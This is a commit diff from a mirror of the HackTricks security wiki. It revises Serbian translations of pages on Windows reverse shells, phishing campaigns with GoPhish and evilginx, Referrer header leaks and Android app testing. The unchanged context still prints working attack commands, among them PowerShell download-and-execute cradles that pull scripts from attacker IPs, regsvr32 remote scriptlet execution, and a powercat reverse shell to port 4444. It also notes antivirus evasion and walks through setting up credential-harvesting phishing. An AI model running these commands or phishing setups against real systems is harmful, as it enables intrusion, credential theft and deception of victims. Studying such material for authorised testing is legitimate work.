mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/reverse-shells/windows.md', 'src/generi
This commit is contained in:
parent
0e9efc20d7
commit
ab6f356daf
@ -82,7 +82,7 @@ Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadStr
|
||||
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
|
||||
```
|
||||
Proces koji izvršava mrežni poziv: **powershell.exe**\
|
||||
Payload napisan na disku: **NE** (_barem nigde gde sam mogao da pronađem koristeći procmon !_ )
|
||||
Payload napisan na disku: **NE** (_barem nigde gde sam mogao da pronađem koristeći procmon!_)
|
||||
```bash
|
||||
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
|
||||
```
|
||||
@ -224,7 +224,7 @@ regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
|
||||
#### Regsvr32 -sct
|
||||
|
||||
[**Odavde**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
|
||||
```markup
|
||||
```html
|
||||
<?XML version="1.0"?>
|
||||
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
|
||||
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
|
||||
@ -324,7 +324,7 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
|
||||
```
|
||||
**Nije otkriveno**
|
||||
|
||||
**Možete lako preuzeti i izvršiti Koadic zombija koristeći stager wmic**
|
||||
**Možete vrlo lako preuzeti i izvršiti Koadic zombija koristeći stager wmic**
|
||||
|
||||
## Msbuild
|
||||
|
||||
@ -341,7 +341,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
|
||||
|
||||
## **CSC**
|
||||
|
||||
Kompajlirajte C# kod na žrtvenoj mašini.
|
||||
Kompajlirajte C# kod na mašini žrtve.
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
|
||||
```
|
||||
@ -383,7 +383,7 @@ Pokrenite skriptu na veb serveru i izvršite je na strani žrtve:
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
|
||||
```
|
||||
Defender još uvek ne prepoznaje kao zlonamerni kod (do sada, 3/04/2019).
|
||||
Defender ne prepoznaje kao zlonamerni kod (još, 3/04/2019).
|
||||
|
||||
**TODO: Proveriti druge nishang shell-ove**
|
||||
|
||||
@ -395,9 +395,9 @@ Preuzmite, pokrenite veb server, pokrenite slušalac i izvršite ga na strani ž
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
Defender ga ne prepoznaje kao zlonamerni kod (još, 3/04/2019).
|
||||
Defender ne prepoznaje to kao zlonamerni kod (još, 3/04/2019).
|
||||
|
||||
**Druge opcije koje nudi powercat:**
|
||||
**Ostale opcije koje nudi powercat:**
|
||||
|
||||
Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files...
|
||||
```
|
||||
@ -447,7 +447,7 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
||||
## Više
|
||||
|
||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) PS konzola sa nekim ofanzivnim PS modulima unapred učitanim (šifrovano)\
|
||||
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
|
||||
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9)[\
|
||||
WinPWN](https://github.com/SecureThisShit/WinPwn) PS konzola sa nekim ofanzivnim PS modulima i detekcijom proksija (IEX)
|
||||
|
||||
## Reference
|
||||
|
@ -24,12 +24,12 @@
|
||||
- **Ključna reč**: Naziv domena **sadrži** važnu **ključnu reč** originalnog domena (npr., zelster.com-management.com).
|
||||
- **poddomen sa crticom**: Promeni **tačku u crtu** poddomena (npr., www-zelster.com).
|
||||
- **Nova TLD**: Isti domen koristeći **novu TLD** (npr., zelster.org)
|
||||
- **Homoglif**: **Zamenjuje** jedno slovo u nazivu domena sa **sličnim slovima** (npr., zelfser.com).
|
||||
- **Homoglif**: **Zamenjuje** jedno slovo u nazivu domena sa **slovima koja izgledaju slično** (npr., zelfser.com).
|
||||
- **Transpozicija:** **Menja dva slova** unutar naziva domena (npr., zelsetr.com).
|
||||
- **Singularizacija/Pluralizacija**: Dodaje ili uklanja “s” na kraju naziva domena (npr., zeltsers.com).
|
||||
- **Odbacivanje**: **Uklanja jedno** od slova iz naziva domena (npr., zelser.com).
|
||||
- **Ponavljanje:** **Ponavlja jedno** od slova u nazivu domena (npr., zeltsser.com).
|
||||
- **Zamena**: Kao homoglif, ali manje suptilno. Zamenjuje jedno od slova u nazivu domena, možda sa slovom u blizini originalnog slova na tastaturi (npr, zektser.com).
|
||||
- **Zamena**: Kao homoglif, ali manje suptilan. Zamenjuje jedno od slova u nazivu domena, možda sa slovom u blizini originalnog slova na tastaturi (npr., zektser.com).
|
||||
- **Poddomen**: Uvedi **tačku** unutar naziva domena (npr., ze.lster.com).
|
||||
- **Umetanje**: **Umeće slovo** u naziv domena (npr., zerltser.com).
|
||||
- **Nedostajuća tačka**: Dodaj TLD nazivu domena. (npr., zelstercom.com)
|
||||
@ -39,7 +39,7 @@
|
||||
- [**dnstwist**](https://github.com/elceef/dnstwist)
|
||||
- [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
|
||||
|
||||
**Web stranice**
|
||||
**Web sajtovi**
|
||||
|
||||
- [https://dnstwist.it/](https://dnstwist.it)
|
||||
- [https://dnstwister.report/](https://dnstwister.report)
|
||||
@ -111,13 +111,13 @@ cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
|
||||
|
||||
Počnite instalaciju: `apt-get install postfix`
|
||||
|
||||
Zatim dodajte domen na sledeće fajlove:
|
||||
Zatim dodajte domen u sledeće fajlove:
|
||||
|
||||
- **/etc/postfix/virtual_domains**
|
||||
- **/etc/postfix/transport**
|
||||
- **/etc/postfix/virtual_regexp**
|
||||
|
||||
**Promenite takođe vrednosti sledećih varijabli unutar /etc/postfix/main.cf**
|
||||
**Takođe promenite vrednosti sledećih varijabli unutar /etc/postfix/main.cf**
|
||||
|
||||
`myhostname = <domena>`\
|
||||
`mydestination = $myhostname, <domena>, localhost.com, localhost`
|
||||
@ -221,9 +221,9 @@ service gophish stop
|
||||
```
|
||||
## Konfigurisanje mail servera i domena
|
||||
|
||||
### Čekajte i budite legitimni
|
||||
### Sačekajte i budite legitimni
|
||||
|
||||
Što je domen stariji, to je manje verovatno da će biti označen kao spam. Zato treba da čekate što je duže moguće (najmanje 1 nedelju) pre procene phishing-a. Štaviše, ako postavite stranicu o reputacionom sektoru, dobijena reputacija će biti bolja.
|
||||
Što je domen stariji, to je manje verovatno da će biti označen kao spam. Zato treba da sačekate što je duže moguće (najmanje 1 nedelju) pre phishing procene. Štaviše, ako postavite stranicu o reputacionom sektoru, dobijena reputacija će biti bolja.
|
||||
|
||||
Imajte na umu da čak i ako morate da čekate nedelju dana, možete završiti konfiguraciju svega sada.
|
||||
|
||||
@ -264,10 +264,10 @@ Ovaj tutorijal se zasniva na: [https://www.digitalocean.com/community/tutorials/
|
||||
> v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB
|
||||
> ```
|
||||
|
||||
### Testirajte rezultat vaše email konfiguracije
|
||||
### Testirajte svoj rezultat konfiguracije e-pošte
|
||||
|
||||
To možete uraditi koristeći [https://www.mail-tester.com/](https://www.mail-tester.com)\
|
||||
Samo pristupite stranici i pošaljite email na adresu koju vam daju:
|
||||
Samo pristupite stranici i pošaljite e-poštu na adresu koju vam daju:
|
||||
```bash
|
||||
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
|
||||
```
|
||||
@ -289,35 +289,35 @@ Authentication-Results: mx.google.com;
|
||||
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
|
||||
dkim=pass header.i=@example.com;
|
||||
```
|
||||
### Uklanjanje sa Spamhouse crne liste
|
||||
### Uklanjanje sa Spamhouse Crne Liste
|
||||
|
||||
Stranica [www.mail-tester.com](https://www.mail-tester.com) može vam pokazati da li je vaša domena blokirana od strane spamhouse-a. Možete zatražiti uklanjanje vaše domene/IP na: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
|
||||
|
||||
### Uklanjanje sa Microsoft crne liste
|
||||
### Uklanjanje sa Microsoft Crne Liste
|
||||
|
||||
Možete zatražiti uklanjanje vaše domene/IP na [https://sender.office.com/](https://sender.office.com).
|
||||
|
||||
## Kreirajte i pokrenite GoPhish kampanju
|
||||
## Kreirajte i Pokrenite GoPhish Kampanju
|
||||
|
||||
### Profil za slanje
|
||||
### Profil Pošiljaoca
|
||||
|
||||
- Postavite **ime za identifikaciju** profila pošiljaoca
|
||||
- Odlučite sa kojeg računa ćete slati phishing emailove. Predlozi: _noreply, support, servicedesk, salesforce..._
|
||||
- Možete ostaviti prazne korisničko ime i lozinku, ali obavezno proverite opciju Ignoriši greške sertifikata
|
||||
- Odlučite sa kojeg naloga ćete slati phishing emailove. Predlozi: _noreply, support, servicedesk, salesforce..._
|
||||
- Možete ostaviti prazne korisničko ime i lozinku, ali obavezno proverite opciju Ignoriši Greške Sertifikata
|
||||
|
||||
 (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
|
||||
 (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
|
||||
|
||||
> [!NOTE]
|
||||
> Preporučuje se korišćenje funkcionalnosti "**Pošalji test email**" da biste proverili da li sve funkcioniše.\
|
||||
> Preporučujem da **pošaljete test emailove na 10min mail adrese** kako biste izbegli stavljanje na crnu listu tokom testiranja.
|
||||
> Preporučuje se korišćenje funkcionalnosti "**Pošalji Test Email**" da biste testirali da li sve funkcioniše.\
|
||||
> Preporučujem da **šaljete test emailove na 10min mail adrese** kako biste izbegli stavljanje na crnu listu tokom testiranja.
|
||||
|
||||
### Email šablon
|
||||
### Email Šablon
|
||||
|
||||
- Postavite **ime za identifikaciju** šablona
|
||||
- Zatim napišite **predmet** (ništa čudno, samo nešto što biste mogli očekivati da pročitate u običnom emailu)
|
||||
- Uverite se da ste označili "**Dodaj sliku za praćenje**"
|
||||
- Uverite se da ste označili "**Dodaj Sliku za Praćenje**"
|
||||
- Napišite **email šablon** (možete koristiti varijable kao u sledećem primeru):
|
||||
```markup
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
<title></title>
|
||||
@ -337,7 +337,7 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
|
||||
```
|
||||
Napomena da **da biste povećali kredibilitet e-pošte**, preporučuje se korišćenje neke potpisane e-pošte od klijenta. Predlozi:
|
||||
|
||||
- Pošaljite e-poštu na **nepostojeću adresu** i proverite da li odgovor sadrži neki potpis.
|
||||
- Pošaljite e-poštu na **nepostojeću adresu** i proverite da li odgovor sadrži neku potpis.
|
||||
- Potražite **javne e-pošte** kao što su info@ex.com ili press@ex.com ili public@ex.com i pošaljite im e-poštu i sačekajte odgovor.
|
||||
- Pokušajte da kontaktirate **neku validnu otkrivenu** e-poštu i sačekajte odgovor.
|
||||
|
||||
@ -405,17 +405,17 @@ phishing-documents.md
|
||||
|
||||
Prethodni napad je prilično pametan jer lažete pravu web stranicu i prikupljate informacije koje je postavio korisnik. Nažalost, ako korisnik nije uneo ispravnu lozinku ili ako je aplikacija koju ste lažirali konfigurisana sa 2FA, **ove informacije vam neće omogućiti da se pretvarate da ste prevareni korisnik**.
|
||||
|
||||
Ovde su alati kao što su [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) i [**muraena**](https://github.com/muraenateam/muraena) korisni. Ovaj alat će vam omogućiti da generišete MitM napad. U suštini, napadi funkcionišu na sledeći način:
|
||||
Ovde su alati poput [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) i [**muraena**](https://github.com/muraenateam/muraena) korisni. Ovaj alat će vam omogućiti da generišete MitM napad. U suštini, napadi funkcionišu na sledeći način:
|
||||
|
||||
1. **Pretvarate se** u login formu prave web stranice.
|
||||
2. Korisnik **šalje** svoje **akreditive** na vašu lažnu stranicu, a alat šalje te podatke pravoj web stranici, **proveravajući da li akreditivi rade**.
|
||||
3. Ako je nalog konfiguran sa **2FA**, MitM stranica će tražiti to, a kada **korisnik unese** to, alat će to poslati pravoj web stranici.
|
||||
4. Kada je korisnik autentifikovan, vi (kao napadač) ćete imati **uhvaćene akreditive, 2FA, kolačiće i sve informacije** svake interakcije dok alat obavlja MitM.
|
||||
1. **Pretvarate se** da ste login forma prave web stranice.
|
||||
2. Korisnik **šalje** svoje **akreditive** na vašu lažnu stranicu, a alat šalje te podatke na pravu web stranicu, **proveravajući da li akreditivi rade**.
|
||||
3. Ako je nalog konfiguran sa **2FA**, MitM stranica će tražiti to, a kada **korisnik unese** to, alat će to poslati na pravu web stranicu.
|
||||
4. Kada je korisnik autentifikovan, vi (kao napadač) ćete imati **zabeležene akreditive, 2FA, kolačić i sve informacije** svake interakcije dok alat obavlja MitM.
|
||||
|
||||
### Putem VNC
|
||||
|
||||
Šta ako umesto da **šaljete žrtvu na zloćudnu stranicu** koja izgleda kao originalna, pošaljete ga na **VNC sesiju sa pretraživačem povezanom na pravu web stranicu**? Moći ćete da vidite šta radi, ukradete lozinku, korišćeni MFA, kolačiće...\
|
||||
To možete učiniti sa [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
|
||||
To možete uraditi sa [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
|
||||
|
||||
## Otkrivanje detekcije
|
||||
|
||||
@ -428,7 +428,7 @@ Međutim, postoje i drugi načini da saznate da li žrtva **aktivno traži sumnj
|
||||
detecting-phising.md
|
||||
{{#endref}}
|
||||
|
||||
Možete **kupiti domenu sa vrlo sličnim imenom** kao domena žrtve **i/ili generisati sertifikat** za **poddomen** domene koju kontrolišete **koji sadrži** **ključnu reč** domena žrtve. Ako **žrtva** izvrši bilo kakvu vrstu **DNS ili HTTP interakcije** sa njima, znaćete da **aktivno traži** sumnjive domene i moraćete da budete veoma diskretni.
|
||||
Možete **kupiti domenu sa veoma sličnim imenom** kao domena žrtve **i/ili generisati sertifikat** za **poddomen** domene koju kontrolišete **sadržeći** **ključnu reč** domena žrtve. Ako **žrtva** izvrši bilo kakvu vrstu **DNS ili HTTP interakcije** sa njima, znaćete da **aktivno traži** sumnjive domene i moraćete da budete veoma diskretni.
|
||||
|
||||
### Procena phishing-a
|
||||
|
||||
|
@ -6,11 +6,11 @@ Referrer je header koji koriste pregledači da označe koja je bila prethodna st
|
||||
|
||||
## Osetljive informacije otkrivene
|
||||
|
||||
Ako se u nekom trenutku unutar web stranice bilo koja osetljiva informacija nalazi u GET parametrima, ako stranica sadrži linkove ka spoljnim izvorima ili napadač može da natera/predloži (socijalni inženjering) korisniku da poseti URL koji kontroliše napadač. To bi moglo omogućiti eksfiltraciju osetljivih informacija unutar poslednjeg GET zahteva.
|
||||
Ako se u nekom trenutku unutar web stranice bilo koja osetljiva informacija nalazi u GET zahtevima, ako stranica sadrži linkove ka spoljnim izvorima ili napadač može da natera/predloži (socijalno inženjerstvo) korisniku da poseti URL koji kontroliše napadač. To bi moglo omogućiti eksfiltraciju osetljivih informacija unutar poslednjeg GET zahteva.
|
||||
|
||||
## Mitigacija
|
||||
|
||||
Možete naterati pregledač da prati **Referrer-policy** koja bi **izbegla** slanje osetljivih informacija drugim web aplikacijama:
|
||||
Možete naterati pregledač da prati **Referrer-policy** koja bi mogla **izbeći** slanje osetljivih informacija drugim web aplikacijama:
|
||||
```
|
||||
Referrer-Policy: no-referrer
|
||||
Referrer-Policy: no-referrer-when-downgrade
|
||||
@ -24,7 +24,7 @@ Referrer-Policy: unsafe-url
|
||||
## Counter-Mitigation
|
||||
|
||||
Možete prepisati ovo pravilo koristeći HTML meta tag (napadač treba da iskoristi i HTML injekciju):
|
||||
```markup
|
||||
```html
|
||||
<meta name="referrer" content="unsafe-url">
|
||||
<img src="https://attacker.com">
|
||||
```
|
||||
|
@ -19,8 +19,8 @@ Pogledajte sledeću listu [**ADB Komandi**](adb-commands.md) da biste naučili k
|
||||
|
||||
## Smali
|
||||
|
||||
Ponekad je zanimljivo **modifikovati kod aplikacije** kako biste pristupili **skrivenim informacijama** (možda dobro obfuskovanim lozinkama ili zastavicama). Tada bi moglo biti zanimljivo dekompilirati apk, modifikovati kod i recompile-ovati ga.\
|
||||
[**U ovom tutorijalu** možete **naučiti kako dekompilirati APK, modifikovati Smali kod i recompile-ovati APK** sa novom funkcionalnošću](smali-changes.md). Ovo može biti veoma korisno kao **alternativa za nekoliko testova tokom dinamičke analize** koji će biti predstavljeni. Tada, **uvek imajte na umu ovu mogućnost**.
|
||||
Ponekad je zanimljivo **modifikovati kod aplikacije** kako biste pristupili **skrivenim informacijama** (možda dobro obfuskovanim lozinkama ili zastavicama). Tada bi moglo biti zanimljivo dekompilirati apk, modifikovati kod i ponovo ga kompajlirati.\
|
||||
[**U ovom tutorijalu** možete **naučiti kako dekompilirati APK, modifikovati Smali kod i ponovo kompajlirati APK** sa novom funkcionalnošću](smali-changes.md). Ovo može biti veoma korisno kao **alternativa za nekoliko testova tokom dinamičke analize** koja će biti predstavljena. Tada, **uvek imajte na umu ovu mogućnost**.
|
||||
|
||||
## Druge zanimljive trikove
|
||||
|
||||
@ -36,7 +36,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
||||
|
||||
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
||||
```
|
||||
- Spojite sve delove i osnovne apk-ove sa [APKEditor](https://github.com/REAndroid/APKEditor):
|
||||
- Spojite sve delove i osnovne APK-ove sa [APKEditor](https://github.com/REAndroid/APKEditor):
|
||||
```bash
|
||||
mkdir splits
|
||||
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
|
||||
@ -64,20 +64,20 @@ Obratite posebnu pažnju na **firebase URL-ove** i proverite da li je loše konf
|
||||
|
||||
**Ranjivosti** identifikovane iz **Manifest.xml** uključuju:
|
||||
|
||||
- **Debuggable aplikacije**: Aplikacije postavljene kao debuggable (`debuggable="true"`) u _Manifest.xml_ datoteci predstavljaju rizik jer omogućavaju veze koje mogu dovesti do eksploatacije. Za dalju pomoć o tome kako iskoristiti debuggable aplikacije, pogledajte tutorijal o pronalaženju i eksploataciji debuggable aplikacija na uređaju.
|
||||
- **Debuggable aplikacije**: Aplikacije postavljene kao debuggable (`debuggable="true"`) u _Manifest.xml_ datoteci predstavljaju rizik jer omogućavaju veze koje mogu dovesti do eksploatacije. Za dalje razumevanje kako iskoristiti debuggable aplikacije, pogledajte tutorijal o pronalaženju i eksploataciji debuggable aplikacija na uređaju.
|
||||
- **Podešavanja rezervne kopije**: Atribut `android:allowBackup="false"` treba eksplicitno postaviti za aplikacije koje se bave osetljivim informacijama kako bi se sprečile neovlašćene rezervne kopije podataka putem adb, posebno kada je omogućeno usb debagovanje.
|
||||
- **Mrežna sigurnost**: Prilagođene konfiguracije mrežne sigurnosti (`android:networkSecurityConfig="@xml/network_security_config"`) u _res/xml/_ mogu specificirati sigurnosne detalje kao što su pinovi sertifikata i podešavanja HTTP saobraćaja. Primer je omogućavanje HTTP saobraćaja za određene domene.
|
||||
- **Izvezene aktivnosti i servisi**: Identifikacija izvezenih aktivnosti i servisa u manifestu može istaknuti komponente koje bi mogle biti zloupotrebljene. Dalja analiza tokom dinamičkog testiranja može otkriti kako iskoristiti ove komponente.
|
||||
- **Content Providers i FileProviders**: Izloženi content providers mogli bi omogućiti neovlašćen pristup ili modifikaciju podataka. Konfiguracija FileProviders takođe treba biti pažljivo ispitana.
|
||||
- **Broadcast Receivers i URL sheme**: Ove komponente se mogu iskoristiti za eksploataciju, sa posebnim naglaskom na to kako se URL sheme upravljaju za ranjivosti unosa.
|
||||
- **SDK verzije**: Atributi `minSdkVersion`, `targetSDKVersion` i `maxSdkVersion` ukazuju na podržane Android verzije, ističući važnost ne podržavanja zastarelih, ranjivih Android verzija iz sigurnosnih razloga.
|
||||
- **SDK verzije**: Atributi `minSdkVersion`, `targetSDKVersion` i `maxSdkVersion` ukazuju na podržane Android verzije, ističući važnost ne podržavanja zastarelih, ranjivih Android verzija iz bezbednosnih razloga.
|
||||
|
||||
Iz **strings.xml** datoteke, osetljive informacije kao što su API ključevi, prilagođene sheme i druge beleške programera mogu se otkriti, naglašavajući potrebu za pažljivim pregledom ovih resursa.
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** je napad gde se **maliciozna** **aplikacija** pokreće i **pozicionira iznad aplikacije žrtve**. Kada vidljivo prikrije aplikaciju žrtve, njen korisnički interfejs je dizajniran na način da prevari korisnika da interaguje s njom, dok zapravo prosleđuje interakciju aplikaciji žrtve.\
|
||||
U suštini, to je **slabljenje korisnika da ne zna da zapravo izvršava radnje na aplikaciji žrtve**.
|
||||
U suštini, to je **oslepljivanje korisnika da ne zna da zapravo izvršava radnje na aplikaciji žrtve**.
|
||||
|
||||
Pronađite više informacija u:
|
||||
|
||||
@ -87,7 +87,7 @@ tapjacking.md
|
||||
|
||||
### Preuzimanje zadataka
|
||||
|
||||
**aktivnost** sa **`launchMode`** postavljenim na **`singleTask` bez definisanog `taskAffinity`** je ranjiva na preuzimanje zadataka. To znači da se **aplikacija** može instalirati i ako se pokrene pre stvarne aplikacije, mogla bi **preuzeti zadatak stvarne aplikacije** (tako da će korisnik interagovati sa **malicioznom aplikacijom misleći da koristi pravu**).
|
||||
**aktivnost** sa **`launchMode`** postavljenim na **`singleTask` bez definisanog `taskAffinity`** je ranjiva na preuzimanje zadataka. To znači da se **aplikacija** može instalirati i ako se pokrene pre prave aplikacije, mogla bi **preuzeti zadatak prave aplikacije** (tako da korisnik misli da koristi **malicioznu aplikaciju misleći da koristi pravu**).
|
||||
|
||||
Više informacija u:
|
||||
|
||||
@ -111,23 +111,23 @@ U Androidu, datoteke **smeštene** u **interno** skladište su **dizajnirane** d
|
||||
Kada se radi o datotekama na **eksternom skladištu**, kao što su SD kartice, treba preduzeti određene mere opreza:
|
||||
|
||||
1. **Pristupačnost**:
|
||||
- Datoteke na eksternom skladištu su **globalno čitljive i zapisive**. To znači da bilo koja aplikacija ili korisnik mogu pristupiti tim datotekama.
|
||||
2. **Sigurnosne brige**:
|
||||
- Datoteke na eksternom skladištu su **globalno čitljive i zapisive**. To znači da bilo koja aplikacija ili korisnik može pristupiti tim datotekama.
|
||||
2. **Bezbednosne brige**:
|
||||
- S obzirom na lakoću pristupa, savetuje se **da se ne skladište osetljive informacije** na eksternom skladištu.
|
||||
- Eksterno skladište može biti uklonjeno ili dostupno bilo kojoj aplikaciji, što ga čini manje sigurnim.
|
||||
3. **Rukovanje podacima iz eksternog skladišta**:
|
||||
- Uvek **izvršite validaciju unosa** na podacima preuzetim iz eksternog skladišta. Ovo je ključno jer su podaci iz nepouzdanog izvora.
|
||||
- Skladištenje izvršnih ili klasa datoteka na eksternom skladištu za dinamičko učitavanje se snažno ne preporučuje.
|
||||
- Ako vaša aplikacija mora preuzeti izvršne datoteke iz eksternog skladišta, osigurajte da su te datoteke **potpisane i kriptografski verifikovane** pre nego što se dinamički učitaju. Ovaj korak je ključan za održavanje sigurnosne integriteta vaše aplikacije.
|
||||
- Ako vaša aplikacija mora preuzeti izvršne datoteke iz eksternog skladišta, osigurajte da su te datoteke **potpisane i kriptografski verifikovane** pre nego što se dinamički učitaju. Ovaj korak je vitalan za održavanje sigurnosne integriteta vaše aplikacije.
|
||||
|
||||
Eksterno skladište može biti **pristupačno** u `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
Eksterno skladište može biti **pristupano** u `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
|
||||
> [!NAPOMENA]
|
||||
> Počevši od Android 4.4 (**API 17**), SD kartica ima strukturu direktorijuma koja **ograničava pristup aplikaciji na direktorijum koji je specifično za tu aplikaciju**. Ovo sprečava malicioznu aplikaciju da dobije pristup za čitanje ili pisanje datoteka druge aplikacije.
|
||||
|
||||
**Osetljivi podaci pohranjeni u čistom tekstu**
|
||||
|
||||
- **Deljene postavke**: Android omogućava svakoj aplikaciji da lako sačuva xml datoteke u putanji `/data/data/<packagename>/shared_prefs/` i ponekad je moguće pronaći osetljive informacije u čistom tekstu u toj fascikli.
|
||||
- **Deljene preferencije**: Android omogućava svakoj aplikaciji da lako sačuva xml datoteke u putanji `/data/data/<packagename>/shared_prefs/` i ponekad je moguće pronaći osetljive informacije u čistom tekstu u toj fascikli.
|
||||
- **Baze podataka**: Android omogućava svakoj aplikaciji da lako sačuva sqlite baze podataka u putanji `/data/data/<packagename>/databases/` i ponekad je moguće pronaći osetljive informacije u čistom tekstu u toj fascikli.
|
||||
|
||||
### Slomljeni TLS
|
||||
@ -139,7 +139,7 @@ Iz nekog razloga, ponekad programeri prihvataju sve sertifikate čak i ako, na p
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
Dobar način da se ovo testira je da pokušate da uhvatite saobraćaj koristeći neki proxy kao što je Burp bez autorizacije Burp CA unutar uređaja. Takođe, možete generisati sa Burp-om sertifikat za drugačije ime hosta i koristiti ga.
|
||||
Dobar način da testirate ovo je da pokušate da uhvatite saobraćaj koristeći neki proxy kao što je Burp bez autorizacije Burp CA unutar uređaja. Takođe, možete generisati sa Burp-om sertifikat za drugačije ime hosta i koristiti ga.
|
||||
|
||||
### Slomljena Kriptografija
|
||||
|
||||
@ -149,15 +149,15 @@ Neki programeri čuvaju osetljive podatke u lokalnoj memoriji i šifruju ih sa k
|
||||
|
||||
**Korišćenje Nesigurnih i/ili Zastarelih Algoritama**
|
||||
|
||||
Programeri ne bi trebali koristiti **zastarele algoritme** za obavljanje **provera** autorizacije, **čuvanje** ili **slanje** podataka. Neki od ovih algoritama su: RC4, MD4, MD5, SHA1... Ako se **hash-ovi** koriste za čuvanje lozinki, na primer, trebali bi se koristiti hash-ovi otporni na brute-force sa solju.
|
||||
Programeri ne bi trebali koristiti **zastarele algoritme** za obavljanje **provera** autorizacije, **čuvanje** ili **slanje** podataka. Neki od ovih algoritama su: RC4, MD4, MD5, SHA1... Ako se **hash-ovi** koriste za čuvanje lozinki, na primer, treba koristiti hash-ove otporne na brute-force sa solju.
|
||||
|
||||
### Ostale provere
|
||||
|
||||
- Preporučuje se da se **obfuskira APK** kako bi se otežao rad obrnute inženjeringa napadačima.
|
||||
- Ako je aplikacija osetljiva (kao što su bankarske aplikacije), trebala bi da izvrši **svoje provere da vidi da li je mobilni uređaj root-ovan** i da deluje u skladu s tim.
|
||||
- Ako je aplikacija osetljiva (kao što su bankarske aplikacije), trebala bi da proveri da li se koristi **emulator**.
|
||||
- Ako je aplikacija osetljiva (kao što su bankarske aplikacije), trebala bi da **proveri svoju integritet pre izvršavanja** da bi proverila da li je modifikovana.
|
||||
- Koristite [**APKiD**](https://github.com/rednaga/APKiD) da proverite koji je kompajler/paker/obfuskator korišćen za izgradnju APK-a.
|
||||
- Ako je aplikacija osetljiva (kao što su bankarske aplikacije), treba da izvrši **svoje provere da vidi da li je mobilni uređaj root-ovan** i da deluje u skladu s tim.
|
||||
- Ako je aplikacija osetljiva (kao što su bankarske aplikacije), treba da proveri da li se koristi **emulator**.
|
||||
- Ako je aplikacija osetljiva (kao što su bankarske aplikacije), treba da **proveri svoju integritet pre izvršavanja** da bi proverila da li je modifikovana.
|
||||
- Koristite [**APKiD**](https://github.com/rednaga/APKiD) da proverite koji je kompajler/paker/obfuskator korišćen za izradu APK-a.
|
||||
|
||||
### React Native Aplikacija
|
||||
|
||||
